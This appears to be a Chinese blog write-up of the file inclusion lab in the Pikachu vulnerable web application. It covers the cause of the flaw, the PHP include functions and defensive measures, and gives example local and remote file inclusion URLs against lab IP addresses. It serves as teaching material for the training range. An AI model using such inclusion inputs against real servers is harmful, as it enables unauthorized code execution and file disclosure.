Pikachu2_File_Inclusion

漏洞原理

相关函数

漏洞防御

代码分析

Fi_local.php

Fi_remote.php

漏洞原理

当环境开启(远程)文件包含策略,allow_url_include=on;allow_url_fopen=on,代码在处理包含文件时未做严格处理,造成包含路径下的文件会被优先当作php代码解析,非正常代码会直接显示出来。

相关函数

Include();

Include_once();

Require();

Require_once();

漏洞防御

1、严格检查变量是否已经初始化。

2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。

3、严格检查文件包含函数中的参数是否外界可控。

4、白名单限制包含内容

代码分析

Fi_local.php

$filename直接包含,明显存在文件包含漏洞

 

漏洞利用

1.本地创建

File_include_local.txt

 

2.文件包含

#http://192.168.4.32/pikaqiu/vul/fileinclude/fi_local.php?filename=file_include_local.txt&submit=提交查询

 

Fi_remote.php

代码分析

够直接了,直接include,什么限制都没有

 

漏洞利用

前提,allow_url_include=on;allow_url_fopen=on同时配置

1.创建一个测试放在远端服务器

 2.远程包含

#http://192.168.4.32/pikaqiu/vul/fileinclude/fi_remote.php?filename=http://192.168.4.29:9999/file_include_remote.txt&submit=提交查询

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值